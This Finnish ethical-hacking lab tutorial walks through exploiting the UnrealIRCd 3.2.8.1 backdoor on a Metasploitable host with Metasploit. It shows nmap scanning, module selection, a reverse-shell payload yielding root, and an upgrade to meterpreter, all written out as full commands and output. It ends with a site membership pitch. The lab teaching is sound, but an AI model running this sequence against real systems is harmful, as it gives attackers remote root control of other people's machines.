Käydään tässä harjoituksessa läpi esimerkki, miten voit käyttää metasploittia haavoittuvuuden hyväksikäyttöön. Käymme jokaisen vaiheen läpi, joten voit käynnistää labran ja seurata mukana omaa tahtia.
Aloitetaan taas tutuista vaiheista, eli kartoituksesta. Käynnistetään tietokanta, valmistellaan se ja suoritetaan alustavat skannaukset db_nmap moduulilla. Huomio, että kohteessa on ICMP (ping) disabloitu, eli tämä ei vastaa ICMP paketteihin, joita nmap yrittää oletusarvoisesti käyttää. Voit disabloida ICMP käytön käyttämällä -Pn vipua nmapin komennoissa.
msf6 > db_nmap -Pn -p22,6667 -A 10.0.2.39
[*] Nmap: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 21:22 UTC
[*] Nmap: Nmap scan report for 10.0.2.39
[*] Nmap: Host is up (0.000057s latency).
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 6667/tcp open irc UnrealIRCd
[*] Nmap: | irc-info:
[*] Nmap: | users: 1
[*] Nmap: | servers: 1
[*] Nmap: | lusers: 1
[*] Nmap: | lservers: 0
[*] Nmap: | server: irc.Metasploitable.LAN
[*] Nmap: | version: Unreal3.2.8.1. irc.Metasploitable.LAN
[*] Nmap: | uptime: 0 days, 0:04:19
[*] Nmap: | source ident: nmap
[*] Nmap: | source host: Test-946EE70D.local
[*] Nmap: |_ error: Closing Link: iztjsqbbs[attacker.local] (Quit: iztjsqbbs)
[*] Nmap: Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
[*] Nmap: OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
[*] Nmap: No OS matches for host
[*] Nmap: Network Distance: 2 hops
[*] Nmap: Service Info: Host: irc.Metasploitable.LAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE (using port 22/tcp)
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 ...
[*] Nmap: 2 0.03 ms 10.0.2.39
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.63 seconds
Näemme nmapin tulosteesta, että kohdejärjestelmässä on auki UnrealIRCd niminen palvelu ja tarkemmin sanottuna versio 3.2.8.1 tästä palvelusta. Tuloste myös viittaa siihen, että kyseinen palvelin on Linux-pohjainen. Jatketaan seuraavaksi katsomalla, että löytyykö Metasploitista, jokin exploit-moduuli, jolla voisimme hyväksikäyttää kyseistä IRC-palvelua.
msf6 > search exploit unreal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/games/ut2004_secure 2004-06-18 good Yes Unreal Tournament 2004 "secure" Overflow (Linux)
1 exploit/windows/games/ut2004_secure 2004-06-18 good Yes Unreal Tournament 2004 "secure" Overflow (Win32)
2 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Kyseiselle palvelulle ja palvelun versiolle löytyy yksi exploit-moduuli, joka vaikuttaa erittäin potentiaaliselta. Valitaan se ja luetaan tästä tarkemmin. Käytämme use komentoa, jolla valitsemme kyseisen moduulin ja tämän jälkeen suoritamme info komennon nähdäksemme lisää tietoa tästä moduulista.
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Payload information:
Space: 1024
Description:
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-2075
OSVDB (65445)
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
Kuvaus kertoo meille, että kyseinen moduuli hyväksikäyttää takaovea, joka on lisätty kyseisen palvelun tähän versioon, jonkun tahon toimesta. Erittäin mielenkiintoista!
Asetetaan ensin moduulin asetukset kohdalleen.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.0.2.39
RHOSTS => 10.0.2.39
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.2.39 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
Asetetaan seuraavaksi hyötykuorman asetukset. Voimme listata hyötykuormat, joita tämä exploit moduuli tukee käyttämällä show payloads komentoa.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/adduser normal No Add user with useradd
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
9 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
11 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Valitsemme hyötykuorman numero 6 listalta joka luo käänteisen yhteyden, eli kohde järjestelmä ottaa meidän kuuntelijaan yhteyden. On hyvä muistaa, että usein erinäiset palomuuri-asetukset estävät hyötykuormat, joiden avulla me otamme kohdejärjestelmään lopullisen yhteyden, mutta lähes aina palomuurit sallivat kohdejärjestelmän ottamaan yhteyksiä rajoittamattomasti ulospäin.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.2.39 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Kuten tulosteesta näkyy, metasploitin hyötykuormat käyttävät oletusarvoisesti porttia 4444, johon kohdejärjestelmä ottaa yhteyden. Tämä käy meillekin, mutta joudumme määrittämään LHOST parametrin, jolla viitataan, että missä IP:ssä haluamme, että kuuntelija kuuntelee. (Kone voi olla useassa eri verkossa samaan aikaan, joten tämän spesifioiminen on ihan hyvä idea).
Tarkistamme oman IP-osoitteemme suorittamalla tavallisen ip a komennon.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > ip a
[*] exec: ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
11780: eth0@if11781: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 76:8f:58:15:db:b4 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.0.2.55/32 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::748f:58ff:fe15:dbb4/64 scope link
valid_lft forever preferred_lft forever
Tämän jälkeen asetamme IP:n LHOST parametriksi ja tarkistamme vielä, että kaikki asetukset ovat kunnossa.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.0.2.55
LHOST => 10.0.2.55
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.2.39 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.55 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Ja kun olemme varmoja, että hyökkäyksen valmistelu on valmis, niin voimme suorittaa exploitin exploit komennolla.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 10.0.2.55:4444
[*] 10.0.2.39:6667 - Connected to 10.0.2.39:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.0.2.39:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 2mK6xqyIvvFWXRFt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "2mK6xqyIvvFWXRFt\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.2.55:4444 -> 10.0.2.39:52094) at 2023-10-08 21:36:32 +0000
id
uid=0(root) gid=0(root) groups=0(root)
Nyt olemme onnistuneesti hyväksikäyttäneet haavoittuvuutta kohdejärjestelmässä ja saaneet etähallintayhteyden kohde koneelle.
Katsotaan seuraavaksi, jos saamme päivitettyä tämän yksinkertaisen shell yhteyden monipuolisemmaksi meterpreter yhteydeksi. Aloitetaan siirtämällä nykyinen etähallintaistunto taustalle pyörimään (CTRL-z). Voimme listata olemassa olevat sessiot sessions komennolla. Voimme myös hypätä takaisin sessioon sessions -i <id> komennolla.
id
uid=0(root) gid=0(root) groups=0(root)
^Z
Background session 1? [y/N] y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.0.2.55:4444 -> 10.0.2.39:52094 (10.0.2.39)
Metasploitissa on hyödyllinen moduuli post/multi/manage/shell_to_meterpreter, jonka avulla voimme yrittää luoda uuden etähallintayhteyden käyttämällä meterpreter hyötykuormaa. Kokeilemme sitä.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.55:4433
[*] Sending stage (1017704 bytes) to 10.0.2.39
[*] Meterpreter session 2 opened (10.0.2.55:4433 -> 10.0.2.39:40716) at 2023-10-08 21:48:49 +0000
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.0.2.55:4444 -> 10.0.2.39:52094 (10.0.2.39)
2 meterpreter x86/linux root @ 10.0.2.39 10.0.2.55:4433 -> 10.0.2.39:40716 (10.0.2.39)
Ja voila! - Nyt meillä on toimiva meterpreter etähallintayhteys kohdejärjestelmään.
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Kannattaa lähteä itse kokeilemaan, mitä kaikkea kyseisellä yhteydellä voi tehdä. Aloita vaikkapa lukemalla help komennon listaus.


Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.